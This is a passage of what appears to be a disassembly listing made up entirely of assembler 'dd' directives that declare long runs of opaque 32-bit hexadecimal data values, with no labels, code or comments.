		dd 1F144040h, 0E8AA08E5h, 1A612179h, 0A9227190h, 5FB5A140h
		dd 1848187Ch, 18A81C61h, 0F136DE67h, 80881899h,	0F8B10238h
		dd 0B7D10068h, 0BE47B258h, 4F28F9DBh, 252E8E4h,	64124A24h
		dd 8910149Fh, 3E9E078Bh, 0EB0659BEh, 2D850064h,	0D543242h
		dd 2096B8A0h, 0B171C54Fh, 383F84Fh, 0B0BE2FC9h,	1D7717CBh
		dd 0E3399E4h, 18B7B826h, 0F39D28FAh, 0F44D7301h, 0E9DAF107h
		dd 9ECF36F0h, 0E2A88010h, 65734631h, 344F54A0h,	9A773Eh
		dd 926CB8D2h, 7348D79Ch, 84BE05B0h, 1DFA99D8h, 0B1DA0198h
		dd 2A33D036h, 51190806h, 23E30008h, 60F95883h, 0E169EE50h
		dd 27AB0170h, 0CB61F6E4h, 494ADC40h, 4A37B6Bh, 0CE98840Eh
		dd 0BEE8C16Dh
		dd 2E582054h, 9FCA904h,	0FCC04EEFh, 45447Eh, 0F8AE1E1Ch
		dd 0A74F3B0Bh, 14464100h, 66C45BA2h, 0D5670F71h, 0D4814A30h
		dd 0C06C337Fh, 3800F142h, 276860B2h, 0F2941Ch, 89753036h
		dd 0A7FF5B98h, 0B9D37E00h, 58667D7h, 28B0A1h, 4E296A74h
		dd 0B025F29Fh, 401B3501h, 28F37D2Ch, 0DB83D8h, 0A2133287h
		dd 0DAB7C384h, 9866C00h, 830E0A91h, 265C0054h, 7E366682h
		dd 2000F935h, 0FEE6023h, 94ABAD5h, 460ED9ACh, 93722051h
		dd 43FE534h, 2C1F51E8h,	0DD04E237h, 0C0A8B33Bh,	98CBC10h
		dd 5075689Ah, 1F8122D4h, 50B2A222h, 44FD14D0h, 22849DE8h
		dd 0C442B026h, 21EA7011h, 0AF9E08A9h, 0B984F890h, 424548E9h
		dd 0EC248AF1h, 17ED4821h, 88454218h, 0A68B082Eh, 6D2932E5h
		dd 89810D10h, 44B70834h, 2A44F9D9h, 289D44B1h, 11DB28A9h
		dd 0D7112B15h, 115C129Ch, 2114422Eh, 24F2F111h,	0D0B52170h
		dd 3C82BD12h, 6424972Eh, 78654140h, 4F05A3FCh, 5789D6E6h
		dd 4EA5FE80h, 840F00D7h, 0EC30BC2Fh, 0CD2E69A2h, 0E2005F33h
		dd 0D668470Bh, 0FB540038h, 556109EAh, 7C07646Bh, 4DCC9F37h
		dd 4020D2A0h, 94560474h, 0E0BA41C9h, 0D800F23Ch, 0E406B8B3h
		dd 14C8AFh, 0CE3BA8E7h,	45120EA5h, 2AEBCF00h, 0D003AA06h
		dd 0EE3F0046h, 5BDC53ABh, 1900C415h, 0F8D226CDh, 30646E86h
		dd 2A11717Dh, 0C1FC350Ah, 0FE923D00h, 0B53B8637h, 3CBC0047h
		dd 89882373h, 0B000338Eh, 0EF9F3851h, 95030B9h,	0A2680214h
		dd 0A4406424h, 0E100FEC8h, 5F7EF308h, 0B8B955AEh, 0B65E1254h
		dd 0F6D480C5h, 63178FA4h, 0BC0079DCh, 0A01EA77Eh, 4E680025h
		dd 9FF41A28h, 4A046163h, 0D49D8342h, 88A5E9C0h,	90B5B26h
		dd 50E0D1E4h, 6CB976FAh, 39405D1Eh, 0B12E43A0h,	9AEF0F24h
		dd 9F00A845h, 0AA361CA3h, 83388095h, 0BAB59481h, 47CC0760h
		dd 0B23062Bh, 0E8BD50C1h, 0C2E89B7Ah, 9C807100h, 106192E3h
		dd 0C9E803CAh, 2C0D7222h, 57C6D000h, 774DCE7Dh,	51AF00FAh
		dd 5BE890AEh, 0F038762h, 0ABB3B7F3h, 0A67AF0EBh, 706D0047h
		dd 6CACBD4Dh, 0D300C6FCh, 1DC40171h, 7E6B5DA0h,	0CAF30A69h
		dd 0B08432h, 0B03CA906h, 84958B5Fh, 58AC9B50h, 80A38A1Dh
		dd 0B430B348h, 0EE020568h, 7CD3B854h, 3C28785Eh, 7780BD59h
		dd 0C9DD8566h, 0F924E8F2h, 0D1003C3Ah, 0D0254595h, 0FE8E0059h
		dd 0BECA8CA8h, 4F00D7F1h, 4710719Bh, 0FD1E3Fh, 0AEE23B72h
		dd 0EF067B8Eh, 9541D05h, 0EC40F882h, 96BE1325h,	727B40A6h
		dd 0D9458500h, 8E030F9h, 0A4B8C6h, 9E27FF23h, 0DA9F5A3h
		dd 214D4DFAh, 1872588h,	65CDB17Ch, 0CEECB8F7h, 670FCACh
		dd 0DD12B596h, 50FA1198h, 2262BA1Ch, 69630680h,	10EBFDh
		dd 269D7314h, 0DF3142BFh, 0B3359300h, 2AC18F70h, 0AE180711h
		dd 40D0BA4Ah, 0E3F97495h, 0B659100h, 0B3CFA00Fh, 14773A3Dh
		dd 0C4E2010Ah, 9C3A01E8h, 8387A4ACh, 21DFD9D8h,	363CD891h
		dd 0E7240977h, 0F87041FEh, 557C4600h, 0F2DFC101h, 39150FEAh
		dd 0B6817ED3h, 0DCF181A1h, 0C3E058D8h, 0D9AD1C00h, 2EA66966h
		dd 830A28A2h, 1F1EC84h,	0E33768F4h, 0D0355F6Ah,	392666F6h
		dd 300F1BE2h, 2069E0DBh, 0AC45CDh, 0C6A45B3Fh, 0F2043B1Fh
		dd 899060E4h, 61353D1Dh, 3C58947Bh, 0ED2909F8h,	8F88596Dh
		dd 0D5E05270h, 80284389h, 0D4807CB4h, 0CCAA9277h, 0EDE70108h
		dd 0D36D3F7Fh, 698AF4DCh, 0D13B0700h, 8059CAB0h, 8E9CA1F5h
		dd 0FB53F0h, 0AD4531E7h, 0E86FA4DDh, 9C56EA00h,	265EAF68h
		dd 0C7900086h, 0D8A5AB36h, 0B5008142h, 0C2172159h, 6EC84Dh
		dd 827F990Dh, 7631CF1h,	0B9F9E100h, 0C295F3B5h,	0D9FA0004h
		dd 2DB63888h, 200A511h,	0CD9E7525h, 4820C2A6h, 0E30028C7h
		dd 0E773D418h, 0EB12CC08h, 0C0C302DFh, 0E0E2F00Dh, 32F6801Ah
		dd 0FA80009Eh, 0A0801BA7h, 65F50452h, 0C0192FC3h, 7A50CD51h
		dd 3E095C02h, 0D99A9FB0h, 808D0490h, 0D69CB01Bh, 88762500h
		dd 62201AA7h, 0DDBB0C03h, 0A621EC10h, 0F959220Fh, 0C9F220B5h
		dd 1A43AE7h, 0B3DB40Fh,	0F21EAE06h, 0C44B8880h,	0F8A105E2h
		dd 0F49AED20h, 5E12CB37h, 0A00E3A6h, 81109BB3h,	7E680077h
		dd 0E25212D8h, 13040864h, 5C6B2497h, 0A80E34C3h, 94BCBFh
		dd 509EF256h, 8FCE4E2Ch, 0DD0B3426h, 37AD9100h,	115E3Dh
		dd 0AACA6FBAh, 0A99E749Fh, 3A1E1000h, 360F5876h, 3F9900CEh
		dd 7BB281FBh, 147FAD88h, 39DA6000h, 1933FD7Dh, 6FEA000Fh
		dd 0DECDD48h, 6500A542h, 6B8599F9h, 896602h, 0B1ABB840h
		dd 8A5F7CD7h, 0BDE37500h, 73C6F6C8h, 0B09FFC15h, 31C20E2Ch
		dd 492C9611h, 371CA63Ah, 4E419813h, 2FA76901h, 4BA12081h
		dd 0FC74BABDh, 6600A6C8h, 73A5CA0Dh, 0CED112h, 54ACFF68h
		dd 4F4D5A9Fh, 0E1116609h, 0AB389039h, 87E30033h, 74B05292h
		dd 420B8166h, 19D018h, 9D69A194h, 38F00CDh, 5C1A1E39h
		dd 0C2E411ECh, 0DBE04B00h, 522368E5h, 0A5EC33h,	8510D77Ch
		dd 0BE1F012Eh, 0F2303900h, 8EA94425h, 3DFB004Ch, 0C104959Bh
		dd 0E5013673h, 2E3F8A48h, 97F4A866h, 217400FBh,	65661D0h
		dd 0C501FAF1h, 8C9A20FFh, 9CC4A112h, 77490C9h, 5F488467h
		dd 0EF389064h, 4600AE73h, 4F816A6Dh, 0C08674F6h, 779E6720h
		dd 0C679A21Fh, 0F4A81B00h, 0F1AD2E94h, 0A623008Fh, 74A19BF2h
		dd 74905795h, 0C63BAC01h, 36160599h, 266BADCCh,	40D7F3h
		dd 0C789FA37h, 0B00EE5Bh, 95DB541h, 0A27418FCh,	27C040A0h
		dd 350E0002h, 2E12F9D7h, 7A01E626h, 4F83AB54h, 0A8300CECh
		dd 305FA24h, 14084693h,	0C0FC7537h, 0B7924B06h,	8200C398h
		dd 8DE1D4BCh, 9097EF9Ch, 43C00025h, 2AB811EBh, 480070C1h
		dd 6D7C4A73h, 1CE901A1h, 80A8CC1Bh, 22E067F9h, 0BF01FAC3h
		dd 0CF7E8DCh, 90C03476h, 8ABE005Bh, 887559C0h, 300FD56h
		dd 674A96BDh, 23E13Ah, 1177E0DFh, 56CE8BB9h, 9BDA0300h
		dd 0BBC2057Fh, 0B6021C55h, 4B1CC093h, 4C26DBFBh, 52C8A201h
		dd 2975F5B2h, 1C00A078h, 0C53150AFh, 5A1792D1h,	0A112E5D2h
		dd 0D936F800h, 2F5D6Ch,	3D72F2DBh, 31636ECBh, 6BF3DA0Bh
		dd 61798738h, 0A4E0B547h, 2ACA347h, 3C93778Eh, 38604CA9h
		dd 8D027596h, 0B0382299h, 81F8603Dh, 25F50045h,	0AF0965D4h
		dd 0A490CD6Eh, 0C0B47125h, 481EEBB8h, 53165655h, 6CE40359h
		dd 13E81C3Ch, 2C9ACA63h, 2E350D02h, 40F2662Bh, 37D5120h
		dd 0E070673Fh, 22D22F1Fh, 84C7D283h, 359580B8h,	0FFF73800h
		dd 46D13DCBh, 442D0079h, 687DDC6Dh, 93000F53h, 10250358h
		dd 55B5A0h, 0D5F34115h,	32996E9Dh, 22072100h, 0F83E20A4h
		dd 0FD28182Fh, 0DE51605h, 2EA92600h, 0E98137E3h, 24AE128Bh
		dd 0DF8800CAh, 0EBE7D01Ch, 6090460h, 5AF175CEh,	81BC1609h
		dd 2B36FAF0h, 539E5841h, 0F6C4BCF0h, 16C91E4h, 3CE9E3BAh
		dd 9488245Dh, 9909A373h, 0A0ABD01Dh, 0AC9666E8h, 287E7Ch
		dd 2AEAEE58h, 20A70E6Eh, 0B47ABE0Fh, 2FD380A2h,	943EAAA8h
		dd 0DBF70130h, 0C97461F5h, 0B8CE7064h, 0B00D3F0h, 0E4F8CEDFh
		dd 0FF086A0h, 367694Bh,	452A9060h, 0D8F474E7h, 410C0CE8h
		dd 309D641Ch, 0C1501746h, 0D93C80A9h, 0B7070A59h, 793E578Dh
		dd 8E6B802Eh, 735C595h,	0AC9D4862h, 0E091D790h,	0B9164B9Eh
		dd 0B6C72C02h, 0DA1792B0h, 0AEF02078h, 8DB57E0Eh, 75D5201Ah
		dd 38BB42E2h, 0CA831C8Fh
		dd 0B344E578h, 0C0052000h, 87F01E4Ch, 0EA22174Bh, 966C8089h
		dd 0EC072B54h, 0BC0288Bh, 0C40F139Fh, 0FBAE80A5h, 179403h
		dd 0E51A5A34h, 0D1402C1Fh, 13EDF71Dh, 0D8ABF400h, 0EA2123CAh
		dd 0D0CE0053h, 0F346E58Ch, 0DC00B1CBh, 9872F7E7h, 749AA3Bh
		dd 427A44A1h, 7113515Bh, 0F19EC030h, 2AF1712h, 51BE4C00h
		dd 303DC127h, 9411CAE4h, 5D006FD0h, 0D437F4AEh,	50DE6404h
		dd 208CB7Ch, 71AD5C48h,	9980E48Eh, 6E2822CBh, 0DE14C700h
		dd 886BCD8Fh, 0A1AE0068h, 9F1954A7h, 0DB98DD17h, 0CEC9DB01h
		dd 47F95C6Ch, 6C85BC4h,	5FD62223h, 16071044h, 0C0B5186Bh
		dd 308EF440h, 7B8F00FDh, 1D923E69h, 5600FEF5h, 0C7EF666Dh
		dd 0E359D4DDh, 7ED58E0h, 0D7390402h, 9F00DEB7h,	1446273Eh
		dd 0E0BD1200h, 78E6A31Dh, 86B9DDE2h, 68DD5494h,	0B6647601h
		dd 620B5D69h, 0BA51DCh,	29BB0A98h, 594BB828h, 533E3Fh
		dd 0AD69B5D0h, 3D9A269Eh, 1D751EA5h, 8F3B2303h,	56005A94h
		dd 49800D1Ah, 0F084FA00h, 0B8A604A0h, 999500E9h, 8E4591B2h
		dd 5D007A76h, 15E03AB9h, 6F997h, 0FA84FEC7h, 4D384E08h
		dd 7100DD70h, 43EA3C6Eh, 1C9A071Eh, 989B7528h, 0F984214Fh
		dd 0F645BD00h, 480D226h, 0D4411C7Eh, 1D006CD9h,	0DAEF47A1h
		dd 0AA40E063h, 0A5771333h, 8053773Fh, 0A615CB89h, 1F38C38h
		dd 7F5485B3h, 86315BE5h, 0B6676E61h, 0AA120386h, 0AD193825h
		dd 18586AD0h, 0DBCE9200h, 0E2F994A8h, 0FE9303C7h, 0E502FD19h
		dd 43FAF798h, 0B0CFA00Eh, 49A18001h, 0FB77262h,	5C31391Bh
		dd 0D038E580h, 8F07AA8Ah, 3015E268h, 4DC80089h,	363673Bh
		dd 7A606551h, 0E6B0565Eh, 0D10042D9h, 0E448B577h, 8716Ch
		dd 0CF850BBh, 0FF7DDFBh, 338BC503h, 0A1AE09CBh,	0B0CB8416h
		dd 725FFDh, 5826D5D3h, 18FF7FF6h, 0AD378607h, 0FD40BFE2h
		dd 0E7EF7C5h, 78CF5CF0h, 2DE5880h, 0C738D38Bh, 3357079Fh
		dd 0D680CB22h, 33BE2DAh, 0C101AD68h, 0D4E015EEh, 4000EFB3h
		dd 0BE34C3DCh, 170CD64h, 0F660236Ah, 0C0CC4457h, 0FE7EE18Fh
		dd 0B31FCB72h, 51932B06h, 0E6E98300h, 0EABC2A32h, 0FD441EBEh
		dd 5BDE54h, 3F014B6Fh, 500EDFC7h, 0A0C120F6h, 0D22476B0h
		dd 0FCA800E8h, 0DD2F7CEBh, 41001F9Dh, 46394A98h, 0F44487h
		dd 278E5864h, 0B868EB05h, 0B4BBCA1Fh, 851C7E7Eh, 4C7F1C9h
		dd 0B5609D22h, 15620D3h, 7D526C67h, 0D42D736Eh,	5A076859h
		dd 0DAE4DFEEh, 80339BB0h, 0D97100F9h, 0DC7CFC75h, 7474F84Fh
		dd 3025C100h, 0F033BD7Ah, 98152FA5h, 0D1D468C0h, 2D9B6600h
		dd 137934D3h, 6F42002Fh, 0E4977B28h, 780B1595h,	8145498Ch
		dd 58F675CFh, 19C9D8h, 0C338375Bh, 6BC43496h, 0BEBCC807h
		dd 5E40DE10h, 3E2F369Ch, 371FE6E7h, 0DC80C050h,	8B536E42h
		dd 0A40F7500h, 163126C2h, 0FB66009Eh, 4FDE0A55h, 85707110h
		dd 0F2756300h, 7447738Dh, 0EC0F1F46h, 0EFC7C0DBh, 0B6B99E93h
		dd 92CD5100h, 5BB7360Ch, 0AFB00065h, 951680C0h,	7800199Dh
		dd 0D1EAE71Dh, 39E50E6Bh, 9A01E14Bh, 0ACDF8729h, 5B0AC499h
		dd 10C04Ch, 68D23832h, 7AAB4A0h, 3E4D9D9Fh, 0FE22083h
		dd 5898A5E6h, 0B70E5Ch,	75E1BC36h, 3E3E043Bh, 0C843AB7h
		dd 0C05361E0h, 6545B5A0h, 891327FEh, 9800F0C0h,	9C1E317h
		dd 75870084h, 0AA0BAA7h, 0F700E867h, 0F4BED42h,	7D21241h
		dd 9A9B7CDAh, 79D8D24Eh, 20E302C1h, 5738C2DCh, 0E9E1840Bh
		dd 9CD0B716h, 73543E88h, 604020CAh, 47D4B300h, 6DDCF1F5h
		dd 5F7D127Ch, 0D817A0DDh, 80346E00h, 973EA288h,	2498C01Bh
		dd 0FE31B23Ch, 0D520220Bh, 5B4F8199h, 23ECED8Fh, 6A20085h
		dd 6E3CFBE4h, 0D00A0EFh, 41DD862Ch, 0B1BC0FEh, 4D8A203Ah
		dd 0A54F3A00h, 471C6583h, 0CE40502Dh, 9564D18Ch, 0C079DEh
		dd 57AE701Ah, 126F46C9h, 0F7DC3Ch, 54394302h, 1F7A5Ch
		dd 90CF3C1Dh, 568104F1h, 4D738B00h, 977E27DEh, 0E6260B9Bh
		dd 2400FD8Ch, 6E29756Fh, 5B635D0Fh, 2F73035Ch, 5862B050h
		dd 906BE659h, 56A009Ch,	6F099603h, 690F7465h, 0A05F458Fh
		dd 6B7C2868h, 0EC2E038Dh, 0F7F824AAh, 47865DC8h, 1F0A63Eh
		dd 0ABDE06E8h, 0D3F8E3DAh, 9F291D6Bh, 6F0A8CEh,	0FF854B05h
		dd 347E2850h, 0EA0DAC90h, 6CE3E0AEh, 0C81F2C40h, 3890E5h
		dd 0D97BFB0Fh, 0DF04FF48h, 0D274F60Fh, 0F80013ACh, 77CE1AE5h
		dd 0B50B06Ah, 0EE5BE3BEh, 56932C00h, 0ED004F4Ah, 6D408811h
		dd 0C40896h, 3805FCDh, 0B59C7065h, 5856EC24h, 407C500Fh
		dd 5B6E597Bh, 2657587Dh, 6D03793Bh, 6652765Ch, 0D8427FF0h
		dd 613FB61Eh, 415E1500h, 1E847546h, 0C5506B26h,	8152405Fh
		dd 0D405A32Ah, 1E2474CEh, 902018C1h, 38292F40h,	12747126h
		dd 3D435Dh, 577CD96Ah, 0BE00B2B0h, 0AEBB029Ch, 0F2CD30A0h
		dd 4D31E190h, 0F210420h, 0BE019DBFh, 609B17C1h,	0FFDA30E8h
		dd 6500B875h, 0F3646E39h, 0A88667h, 0F57D8D17h,	363A3409h
		dd 1E05FA3Eh, 8280F4C8h, 7ABB6CFFh, 525D001Dh, 0FD55765Fh
		dd 0F107A8CFh, 9F03C762h, 8064DCC2h, 76E5FFB0h,	9CC9073Ch
		dd 41CA5106h, 0FC334A08h, 7B00B521h, 7DE07947h,	5FDCD7h
		dd 26F25C3Dh, 5B6C19F9h, 810C3Eh, 0F31E745h, 0B35FB5h
		dd 4972C8E4h, 9029D64Ch, 9CE38C05h, 0B819498h, 2BD46EB0h
		dd 3D370AAh, 5B35F7B2h,	6DD03B7Ah, 1038F323h, 0F87F03A5h
		dd 0B86186FAh, 1E8FC9E4h, 8154D55Ch, 2E99A697h,	37A2CC98h
		dd 0A3039179h, 15DE518Fh, 0AA46C88Ah, 0A0C300C6h, 8DEAF14Ch
		dd 0A2000247h, 0DD688705h, 95DA501h, 0FC282C10h, 89C3A400h
		dd 3926320Dh, 9781F08Ch, 8EC73433h, 0C635CCh, 0D636318Fh
		dd 0EDFBE699h, 0D0C20300h, 0E3A9EBD5h, 0C50C00F6h, 0B2E9D7D8h
		dd 89243E58h, 0C100A4F5h, 2BC8BB32h, 1647CD4h, 87AC4C9Ch
		dd 2123471Eh, 30B9CCA0h, 0E0280B01h, 27714D29h,	94CE8941h
		dd 0A5F09021h, 0FA8113F5h, 0C535037Eh, 1DE88FE8h, 2171CAE0h
		dd 1431B400h, 28818285h, 59E60923h, 0DC87E383h,	432B8003h
		dd 200110Bh, 2A212EF4h,	73D50FB9h, 22BB0914h, 0E0A058D6h
		dd 6A692461h, 2302B09Ah, 61D42EDh, 5D94C098h, 22F600C8h
		dd 8D059DA3h, 7A490CB2h, 97B300FCh, 51FE9928h, 52CE3085h
		dd 20FAF950h, 6F806D50h, 0FBF4C100h, 3D72AFA1h,	7C65005Ah
		dd 89E92C46h, 8004161h,	0A0E6A5CFh, 6774Fh, 0B095EC84h
		dd 31E2813Fh, 24121BE4h, 0F0017252h, 55EBC3E5h,	2CC8BCFCh
		dd 8038D27Dh, 4CEEC5E1h, 575C9B04h, 0DD8A00B0h,	5DE37D66h
		dd 6CB1C037h, 4817AC81h, 8B2A9900h, 0C147074Ch,	442E18FAh
		dd 0CAE3026Ah, 0D800BD4Ah, 170E41A4h, 29FE3EE5h, 0C0C6A01Fh
		dd 5F1091B6h, 274ABD7Eh, 0E97D9C02h, 0C5520006h, 280722FDh
		dd 0F8C45B1Eh, 927EE320h, 90415013h, 6DCF09CAh,	0E0C63ADh
		dd 46FE6F98h, 20408F30h, 0A3E6DEh, 0E9113B23h, 16C661B8h
		dd 0E0AE0530h, 2570B94h, 0E70D804Dh, 9C982667h,	0DCB2BECFh
		dd 87FB733Dh, 0EB785DDFh, 0C8D03DA7h, 3A302A23h, 0AB03E5C1h
		dd 7CF46892h, 53A04ED0h, 2D18B0ECh, 62189091h, 0A414902Ch
		dd 42213024h, 3A499880h, 0C9BCB254h, 44F34D00h,	947C4B9h
		dd 953605B5h, 4A6E202Dh, 8040BDD8h, 0D146B32Eh,	23249B6Ah
		dd 2A0438DAh, 30832294h, 8003D9D5h, 0E1B440A4h,	8007C6B9h
		dd 0D50ED831h, 58AC330Ah
		dd 0E61F9426h, 17494F63h, 7DE77EA0h, 3A19D6C9h,	44C08A2Dh
		dd 0ADCFB0F3h, 966230EFh, 9C51792Ah, 0D52CF107h, 0DB27FB57h
		dd 0DC0681F1h, 0E0DEF60h, 3850D958h, 5921C6C0h,	0A92EA570h
		dd 6F07FC49h, 0A703C2EBh, 0ABCA1C0h, 0A4431184h, 5487C0B3h
		dd 4288C4Ch, 0C1E0D66Ch, 0DDD5D602h, 4110CF30h,	9B2002ECh
		dd 111F30BEh, 0B8A6D010h, 8E94EA00h, 1D2D7708h,	3098752Bh
		dd 0BD905F1Fh, 0E31CBA81h, 0F46AD9B0h, 78BBF212h, 1544E440h
		dd 4908B4B3h, 6312788Dh, 3C5CC028h, 85016E9Ch, 78EB868Ah
		dd 0C70C7CEh, 0EEE97060h, 0D8A8256Ch, 6D891C0Fh, 0E19530C0h
		dd 0E0FE58h, 0B68C4E0h,	17DE615h, 0C074A135h, 0D0EEE462h
		dd 3007E8CFh, 1394422Fh, 27D3611h, 0DA37B040h, 0D2F002E1h
		dd 5A2A0D66h, 7C5F9460h, 8306B300h, 163F7642h, 3470191h
		dd 4D074F4Bh, 0EDE0CB10h, 17AC15Bh, 51BDA606h, 502811D2h
		dd 0EEE88Dh, 4A86E2DFh,	24B3F393h, 361A8502h, 511FBF3Fh
		dd 0C26E1C3Ch, 3E5D82C8h, 0E977CEE0h, 60F96500h, 0D93F56FAh
		dd 913601FEh, 30CB7E1Ah, 0CAC4059h, 2718C1D8h, 33A0B23Dh
		dd 25C33BCAh, 0DCB126h,	1BC5C20Eh, 7200B426h, 9627D3Bh
		dd 3B8A455Dh, 67804071h, 44435A14h, 1E17F15Eh, 240278BFh
		dd 148D3270h, 2DB9E900h, 8297AFB3h, 91ED00C4h, 28954C0Ah
		dd 7D002B14h, 736EE049h, 4179BBh, 0A23EB5CCh, 7E646955h
		dd 2CA7D01Eh, 0AE1F95FEh, 9821E4h, 50921E3Bh, 0EC2C5C64h
		dd 7B09C09Eh, 60A04255h, 70323EFh, 427E319Dh, 122E40ACh
		dd 1307C28Ch, 0AF014DD3h, 0ADF6DC80h, 8C2D4C53h, 79DC58h
		dd 90CF5C31h, 83394C0Eh, 840DF709h, 0D0C0A019h,	0FEA74CBh
		dd 0EB42611Ch, 451BFAA0h, 4F00C7DAh, 2043471Ah,	0A2327CCh
		dd 0F67E34B5h, 4C5802F8h, 0B47A06CEh, 49B9BD4Ch, 37040310h
		dd 0C824E5BEh, 2A1C1EA7h, 2A4D4FAh, 0E38D630Dh,	5068FFB4h
		dd 0E474EDD7h, 0D45ED500h, 951F603Dh, 0B66700EAh, 8280EC4Fh
		dd 0E53A967Ch, 0CED713DFh, 7DA74500h, 613F5A5Dh, 2E6AF2FDh
		dd 58A02065h, 0EB0DE09h, 47F8009Ch, 64D150A0h, 0B88830A6h
		dd 0C155004Ch, 6DC9297Bh, 9C628D3h, 0EB4005C8h,	0A2BD2054h
		dd 0F532140h, 11B8F7B1h, 93003B42h, 97482D05h, 7798D524h
		dd 2C967B02h, 49802EF9h, 2226A098h, 735BA26h, 0BF360500h
		dd 7E695EA8h, 0D91F0213h, 0B342FC3Eh, 1017E068h, 340A9701h
		dd 0AA625ECCh, 0B0531824h, 57E10088h, 32B8039Fh, 650FCE48h
		dd 0E0C05AD8h, 406312C4h, 3E10B07Ah, 0F0854719h, 43DCFB05h
		dd 4AB59DC0h, 904508E0h, 0B93FE16h, 4B075C40h, 1FBB06ADh
		dd 0A8C68617h, 0D0484CCFh, 96094500h, 0F3D7837Ah, 11C98B0Eh
		dd 3EA8E04Fh, 505AF66h,	45D3EEC1h, 0C18017Dh, 0DC97A9D2h
		dd 3D1675EDh, 384BAD7Ch, 90BCA261h, 609B423Eh, 58A8210h
		dd 0C5893CA6h, 0DB1CD886h, 0E9933D18h, 985BBEC1h, 4F8800A2h
		dd 0C78C0B9Bh, 7B03D5C2h, 0C36A242Eh, 4BD0001Bh, 0F87E6C99h
		dd 0DB3DBBECh, 786F30B1h, 0B89D7375h, 4DF30C11h, 7C583747h
		dd 0C00E55F0h, 4673CDC6h, 1836C7h, 0A73C11FCh, 49294BC1h
		dd 75A36019h, 9C6350C9h, 6DC07459h, 72E7540Bh, 87704C58h
		dd 45301BD4h, 24A50895h, 204BF2Fh, 0ECFFA8B8h, 30E34CE4h
		dd 0F8A85AB0h, 27036DA0h, 1F4CA302h, 7528C008h,	0C1CC1259h
		dd 27F4C13Eh, 9C4CF4AFh, 0E7BA50C0h, 0E8BC2937h, 256490A5h
		dd 1C005194h, 18EFD42Ah, 4011B56Bh, 2564A4h, 4BE692CAh
		dd 941A517h, 6A0ECE7Ah,	0D67A11BDh, 66AF7900h, 925C62A4h
		dd 889508ACh, 24A6E57Ch, 0A2B96E00h, 17F5737h, 0C76D3331h
		dd 0F84BD0BFh, 2838454Fh, 597201C1h, 9FE49A29h,	0F62A60h
		dd 94EDC534h, 0DCD7D3B3h, 0B03C7500h, 4F619D10h, 3A3748Bh
		dd 0CD8489B2h, 7FA8A02Fh, 7E001CD8h, 0B9F4935Dh, 0C71DA80Dh
		dd 0D0AFE510h, 5C371A07h, 0CAB2AD12h, 950C1480h, 99F9C155h
		dd 72827213h, 0A23D7970h, 7BB20FC1h, 9624800Fh,	9065FFECh
		dd 0E9850A1Ch, 9ACEE06h, 0E040EA2Eh, 9F00054Dh,	0D8DB815Ch
		dd 50526Ch, 11CC8A10h, 345FC6A4h, 0D4992DB0h, 1DFFE588h
		dd 780B816Ch, 38A45AABh, 0B2D10050h, 800A966Dh,	137548h
		dd 3BD1F92h, 82F6704Fh,	2C1ED900h, 0C30D9F5Ah, 0CC9738CEh
		dd 55E5B080h, 6D0480DBh, 873C507Dh, 7DDA96AEh, 61603C4Fh
		dd 0C8F6616Ah, 2CC9C0h,	0B228BB24h, 0D6E5FDD2h,	9E10F001h
		dd 874903FEh, 7B7BFE8h,	0A7EE2A0Ah, 0E6A49121h,	1D5A80A8h
		dd 206AAE94h, 86C203ABh, 0B35E891Eh, 300A3EB0h,	0DF00117Bh
		dd 8C01F942h, 96836Dh, 4CD1D7D2h, 4106C5B8h, 0DFE09200h
		dd 0F30BA601h, 27155C31h, 0BAF9830Ch, 2F0B3678h, 8EDD327Eh
		dd 507500E7h, 1F0E1E40h, 7C3E7h, 8E0AFE15h, 5700A969h
		dd 0AF622A6Eh, 0B85C4810h, 6B9F1EADh, 39A54149h, 80139BF6h
		dd 4ED32A19h, 0F5D9A04h, 2CECE4BFh, 0C774B1E5h,	0B802C99Eh
		dd 10E8510Bh, 60787F47h, 8C765F7Bh, 7D7C4601h, 8E49570Eh
		dd 3EE1D0h, 90835B2h, 2123CDD8h, 152EBB7Ah, 0D03BB70Ch
		dd 0D8E19689h, 39127CF7h, 0F080238Ah, 27E46C7h,	0DF76ED5Ah
		dd 0E4434D0Fh, 0AD9DCAD0h, 0ABF73200h, 785047A1h, 25A20015h
		dd 0EE7CC9C4h, 3A006A10h, 0AAF0EDD8h, 32D207Eh,	0A927A814h
		dd 3E982268h, 1800AF16h, 31B584A2h, 0DFFE1Bh, 0D212C227h
		dd 2CAD0741h, 7A821800h, 5C0E5DC4h, 27AB003h, 6D490262h
		dd 70688FDAh, 2500E8D8h, 0B67A7C57h, 91EE752Ah,	0E7198868h
		dd 0AE4CC800h, 1CC31A0h, 0A11E91B1h, 0E774343Fh, 0E70B11D0h
		dd 7A626000h, 0BA7D1B5Dh, 7554000Eh, 404F5B69h,	2B01021Ch
		dd 63BEE9B2h, 9034AD6Fh, 57D52C23h, 3EAB81B8h, 38C79E2Ah
		dd 25C4C60h, 9990F1F0h,	78E461CDh, 3C451074h, 1D02B8BAh
		dd 0C631B28Dh, 5442F4C6h, 0E33461D3h, 0B0A43084h, 41350300h
		dd 63A7CD0Eh, 2F499E2h,	0ECBDA314h, 5184CCC8h, 0F0077D89h
		dd 0ED22D1F0h, 0CA640216h, 0C0616C23h, 9A75714Ch, 88460240h
		dd 0E8FAE7E3h, 676AD440h, 0EA12E5EAh, 0B4C07ABCh, 48C605A5h
		dd 2301B895h, 7E0A8ACh,	380C6341h, 2CA12929h, 50A1128h
		dd 9CB50CD9h, 7216C82h,	0BD7CC0C6h, 0F5C5275Fh,	0E58065D4h
		dd 0C76E132Ch, 0B9D10CC6h, 4B792E7Fh, 0BEAE3F00h, 7D12BBE4h
		dd 0EB4E88h, 8C5408DCh,	6FE7642h, 0E8BF0B01h, 0C613A095h
		dd 7A219063h, 8B289025h, 0D642981h, 0E3664484h,	9FA86F2Ch
		dd 675F1E45h, 1E924B0h,	451C13EEh, 38E2CA44h, 4C8493FCh
		dd 660094E6h, 9B350576h, 5017D723h, 14014C2Ch, 0F6FEE6E2h
		dd 0C06226C5h, 44D6E60h, 120C159Eh, 0B814211Ch,	48EB0382h
		dd 0A4903E3Ch, 692C82B4h, 219180C0h, 278A810Bh,	3980A3AEh
		dd 80A99B67h, 0E93AA69h, 0DA10801Ah, 9909D527h,	0E3655440h
		dd 0E1F37000h, 0C173FBA6h, 0A49B58B9h, 2E947400h, 0E3B22DD9h
		dd 0CFC5B019h, 0C0CA0EE0h, 17E6BBE8h, 20D1FF32h, 42BD02E0h
		dd 44ED9B18h, 0BE63428h, 0CD1946D4h, 51764903h,	67FB0E7h
		dd 0DB269B11h, 0AC3BF4DDh, 5E0014FAh, 8B8FB4A1h, 0A3480241h
